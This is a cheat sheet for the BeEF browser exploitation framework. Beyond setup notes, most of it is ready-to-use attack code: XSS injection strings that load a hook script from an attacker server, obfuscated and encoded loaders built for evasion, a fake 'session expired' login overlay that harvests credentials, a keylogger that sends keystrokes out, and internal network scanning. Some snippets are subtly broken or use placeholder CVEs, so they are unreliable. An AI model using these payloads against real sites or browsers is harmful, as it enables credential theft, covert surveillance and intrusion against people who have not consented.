Skip to content

BeEF Browser Exploitation Framework Cheat Sheet

Overview

BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on the web browser. It enables the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors.

⚠️ Warning: This tool is intended for authorized penetration testing and security assessments only. Ensure you have proper authorization before using in any environment.

Installation

Kali Linux

bash
# Install from repositories
sudo apt update
sudo apt install beef-xss

# Start BeEF
sudo beef-xss

Ubuntu/Debian

bash
# Install dependencies
sudo apt update
sudo apt install git ruby ruby-dev bundler sqlite3 libsqlite3-dev

# Clone repository
git clone https://github.com/beefproject/beef.git
cd beef

# Install Ruby gems
bundle install

# Start BeEF
./beef

Docker Installation

bash
# Pull official Docker image
docker pull beefproject/beef

# Run BeEF in Docker
docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 beefproject/beef

# Run with persistent data
docker run -v /opt/beef:/beef/data -p 3000:3000 -p 6789:6789 beefproject/beef

Manual Installation

bash
# Install Ruby and dependencies
curl -sSL https://get.rvm.io | bash
source ~/.rvm/scripts/rvm
rvm install 3.0.0
rvm use 3.0.0 --default

# Clone and setup BeEF
git clone https://github.com/beefproject/beef.git
cd beef
bundle install
./beef

Basic Usage

Starting BeEF

bash
# Start BeEF server
./beef

# Start with custom configuration
./beef -c config.yaml

# Start with specific interface
./beef -x

# Start in debug mode
./beef -v

Web Interface Access

bash
# Default credentials
# Username: beef
# Password: beef

# Access web interface
# http://localhost:3000/ui/panel

# Hook URL for browsers
# http://localhost:3000/hook.js

Configuration

Main Configuration (config.yaml)

yaml
beef:
    version: '0.5.4.0'
    debug: false
    crypto_default_value_length: 80
    
    # Web server configuration
    http:
        debug: false
        host: "0.0.0.0"
        port: "3000"
        
    # HTTPS configuration
    https:
        enable: false
        host: "0.0.0.0"
        port: "3443"
        cert: "beef.crt"
        key: "beef.key"
        
    # Database configuration
    database:
        driver: "sqlite"
        db_file: "beef.db"
        
    # Authentication
    credentials:
        user: "beef"
        passwd: "beef"

Extension Configuration

yaml
beef:
    extension:
        admin_ui:
            enable: true
        
        social_engineering:
            enable: true
            
        metasploit:
            enable: false
            host: "127.0.0.1"
            port: 55552
            
        dns:
            enable: false
            port: 53
            
        proxy:
            enable: false
            port: 8080

Hook Deployment

Basic Hook Injection

html
<!-- Simple hook injection -->
<script src="http://beef-server:3000/hook.js"></script>

<!-- Hidden hook injection -->
<script>
var script = document.createElement('script');
script.src = 'http://beef-server:3000/hook.js';
document.head.appendChild(script);
</script>

<!-- Obfuscated hook -->
<script>
eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,101,101,102,45,115,101,114,118,101,114,58,51,48,48,48,47,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));
</script>

Advanced Hook Techniques

javascript
// Dynamic hook loading
function loadBeef() {
    if (typeof beef === 'undefined') {
        var script = document.createElement('script');
        script.src = 'http://beef-server:3000/hook.js';
        script.onload = function() {
            console.log('BeEF hook loaded');
        };
        document.head.appendChild(script);
    }
}

// Conditional hook loading
if (document.domain === 'target-site.com') {
    loadBeef();
}

// Time-delayed hook
setTimeout(function() {
    loadBeef();
}, 5000);

Hook via XSS

javascript
// Reflected XSS hook
http://vulnerable-site.com/search?q=<script src="http://beef-server:3000/hook.js"></script>

// Stored XSS hook
<img src="x" onerror="var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);">

// DOM-based XSS hook
javascript:var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);

Command Modules

Browser Information

bash
# Get browser details
Browser > Get Browser Details

# Get system information
Browser > Get System Info

# Get installed plugins
Browser > Get Installed Plugins

# Get browser history
Browser > Get Visited URLs

# Get cookies
Browser > Get All Cookies

Social Engineering

bash
# Fake notification bar
Social Engineering > Fake Notification Bar

# Pretty theft
Social Engineering > Pretty Theft

# Clippy
Social Engineering > Clippy

# Fake flash update
Social Engineering > Fake Flash Update

# Simple hijacker
Social Engineering > Simple Hijacker

Network Discovery

bash
# Internal network fingerprinting
Network > Fingerprint Network

# Port scanner
Network > Port Scanner

# Cross-origin scanner
Network > Cross-Origin Scanner

# DNS enumeration
Network > DNS Enumeration

Persistence

bash
# Man-in-the-browser
Persistence > Man-In-The-Browser

# Confirm close tab
Persistence > Confirm Close Tab

# Create invisible iframe
Persistence > Create Invisible Iframe

# Tunnel
Persistence > Tunnel

Advanced Attacks

Credential Harvesting

javascript
// Custom credential harvester
beef.execute(function() {
    // Create fake login form
    var overlay = document.createElement('div');
    overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;';
    
    var form = document.createElement('div');
    form.innerHTML = `
        <div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:30px;border-radius:5px;">
            <h3>Session Expired - Please Re-authenticate</h3>
            <input type="text" id="username" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;">
            <input type="password" id="password" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;">
            <button onclick="submitCreds()" style="width:100%;padding:10px;background:#007cba;color:white;border:none;">Login</button>
        </div>
    `;
    
    overlay.appendChild(form);
    document.body.appendChild(overlay);
    
    window.submitCreds = function() {
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;
        
        // Send credentials to BeEF
        beef.net.send('/api/credentials', 0, 'POST', 
            'username=' + encodeURIComponent(username) + 
            '&password=' + encodeURIComponent(password)
        );
        
        overlay.remove();
    };
});

Keylogger

javascript
// Simple keylogger
beef.execute(function() {
    var keys = '';
    var lastSent = Date.now();
    
    document.addEventListener('keypress', function(e) {
        keys += String.fromCharCode(e.which);
        
        // Send keys every 10 seconds or 100 characters
        if (Date.now() - lastSent > 10000 || keys.length > 100) {
            beef.net.send('/api/keylog', 0, 'POST', 'keys=' + encodeURIComponent(keys));
            keys = '';
            lastSent = Date.now();
        }
    });
});

Browser Autopwn

javascript
// Browser exploitation chain
beef.execute(function() {
    // Check for vulnerabilities
    var exploits = [
        {name: 'CVE-2021-1234', check: function() { return navigator.userAgent.includes('Chrome/89'); }},
        {name: 'CVE-2020-5678', check: function() { return navigator.userAgent.includes('Firefox/85'); }}
    ];
    
    exploits.forEach(function(exploit) {
        if (exploit.check()) {
            beef.net.send('/api/exploit', 0, 'POST', 'exploit=' + exploit.name);
        }
    });
});

Network Pivoting

javascript
// Internal network scanning
beef.execute(function() {
    var targets = [];
    var baseIP = '192.168.1.';
    
    for (var i = 1; i <= 254; i++) {
        var ip = baseIP + i;
        var img = new Image();
        img.onload = function() {
            targets.push(this.src.split('/')[2]);
        };
        img.src = 'http://' + ip + '/favicon.ico?' + Math.random();
    }
    
    setTimeout(function() {
        beef.net.send('/api/network', 0, 'POST', 'targets=' + JSON.stringify(targets));
    }, 5000);
});

Integration with Other Tools

Metasploit Integration

bash
# Enable Metasploit extension in config.yaml
metasploit:
    enable: true
    host: "127.0.0.1"
    port: 55552
    
# Start Metasploit RPC server
msfrpcd -P password -S -a 127.0.0.1 -p 55552

# Use browser autopwn
use auxiliary/server/browser_autopwn2
set LHOST 192.168.1.100
set SRVHOST 192.168.1.100
run

Social Engineering Toolkit (SET)

bash
# Use SET with BeEF
setoolkit

# Select Social-Engineering Attacks
# Select Website Attack Vectors
# Select Credential Harvester Attack Method
# Select Site Cloner
# Enter target URL and BeEF hook

Custom REST API

python
# Python script for BeEF API interaction
import requests
import json

class BeefAPI:
    def __init__(self, host='localhost', port=3000):
        self.base_url = f"http://{host}:{port}/api"
        self.token = None
        
    def authenticate(self, username='beef', password='beef'):
        auth_data = {
            'username': username,
            'password': password
        }
        response = requests.post(f"{self.base_url}/admin/login", json=auth_data)
        if response.status_code == 200:
            self.token = response.json()['token']
            return True
        return False
    
    def get_hooked_browsers(self):
        headers = {'Authorization': f'Bearer {self.token}'}
        response = requests.get(f"{self.base_url}/hooks", headers=headers)
        return response.json()
    
    def execute_module(self, hook_id, module_id, options={}):
        headers = {'Authorization': f'Bearer {self.token}'}
        data = {
            'module_id': module_id,
            'options': options
        }
        response = requests.post(f"{self.base_url}/modules/{hook_id}", 
                               json=data, headers=headers)
        return response.json()

# Usage example
beef = BeefAPI()
beef.authenticate()
browsers = beef.get_hooked_browsers()
print(f"Hooked browsers: {len(browsers)}")

Evasion Techniques

Hook Obfuscation

javascript
// Base64 encoded hook
var encoded = 'dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9iZWVmLXNlcnZlcjozMDAwL2hvb2suanMnO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7';
eval(atob(encoded));

// Hex encoded hook
var hex = '766172207336646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d27687474703a2f2f626565662d7365727665723a333030302f686f6f6b2e6a73273b646f63756d656e742e686561642e617070656e644368696c642873293b';
eval(hex.match(/.{2}/g).map(function(h) { return String.fromCharCode(parseInt(h, 16)); }).join(''));

// Dynamic construction
var parts = ['ht', 'tp:', '//', 'beef-', 'server:', '3000', '/hook.', 'js'];
var url = parts.join('');
var s = document.createElement('script');
s.src = url;
document.head.appendChild(s);

Domain Fronting

javascript
// Use CDN for domain fronting
var script = document.createElement('script');
script.src = 'https://cdn.example.com/beef/hook.js';
script.setAttribute('data-host', 'beef-server.com');
document.head.appendChild(script);

Steganography

javascript
// Hide hook in image metadata
function extractHookFromImage(imageUrl) {
    var canvas = document.createElement('canvas');
    var ctx = canvas.getContext('2d');
    var img = new Image();
    
    img.onload = function() {
        canvas.width = img.width;
        canvas.height = img.height;
        ctx.drawImage(img, 0, 0);
        
        var imageData = ctx.getImageData(0, 0, 1, 1);
        var data = imageData.data;
        
        // Extract hidden data from LSB
        var hookUrl = extractLSB(data);
        loadHook(hookUrl);
    };
    
    img.src = imageUrl;
}

Reporting and Analysis

Session Analysis

python
# Analyze BeEF sessions
import sqlite3
import json

def analyze_beef_sessions(db_path):
    conn = sqlite3.connect(db_path)
    cursor = conn.cursor()
    
    # Get hooked browsers
    cursor.execute("SELECT * FROM hooked_browsers")
    browsers = cursor.fetchall()
    
    # Get command results
    cursor.execute("SELECT * FROM command_modules")
    commands = cursor.fetchall()
    
    # Generate report
    report = {
        'total_browsers': len(browsers),
        'total_commands': len(commands),
        'browsers': browsers,
        'commands': commands
    }
    
    return report

# Usage
report = analyze_beef_sessions('/path/to/beef.db')
print(json.dumps(report, indent=2))

Timeline Analysis

python
# Create attack timeline
import matplotlib.pyplot as plt
import datetime

def create_timeline(sessions):
    timestamps = []
    events = []
    
    for session in sessions:
        timestamp = datetime.datetime.fromisoformat(session['created_at'])
        timestamps.append(timestamp)
        events.append(f"Browser hooked: {session['browser_name']}")
    
    plt.figure(figsize=(12, 6))
    plt.plot(timestamps, range(len(timestamps)), 'o-')
    plt.title('BeEF Attack Timeline')
    plt.xlabel('Time')
    plt.ylabel('Events')
    plt.xticks(rotation=45)
    plt.tight_layout()
    plt.savefig('beef_timeline.png')

Troubleshooting

Common Issues

bash
# Port already in use
sudo netstat -tulpn | grep :3000
sudo kill -9 $(lsof -t -i:3000)

# Ruby version issues
rvm list
rvm use 3.0.0
bundle install

# Database issues
rm beef.db
./beef

# Permission issues
sudo chown -R $USER:$USER /path/to/beef
chmod +x beef

Debug Mode

bash
# Start BeEF in debug mode
./beef -v

# Check logs
tail -f beef.log

# Browser console debugging
# Open browser developer tools
# Check for JavaScript errors
# Monitor network requests

Network Issues

bash
# Check firewall rules
sudo ufw status
sudo iptables -L

# Test connectivity
curl http://localhost:3000/hook.js

# Check DNS resolution
nslookup beef-server.com

Security Considerations

Operational Security

  • Use HTTPS for production deployments
  • Change default credentials
  • Implement proper access controls
  • Monitor for detection
  • Use legitimate domains and certificates
  • Obtain proper authorization
  • Follow responsible disclosure
  • Respect privacy and data protection
  • Document all activities
  • Provide security awareness training

Resources


This cheat sheet provides a comprehensive reference for using BeEF Browser Exploitation Framework. Always ensure you have proper authorization before conducting browser security assessments.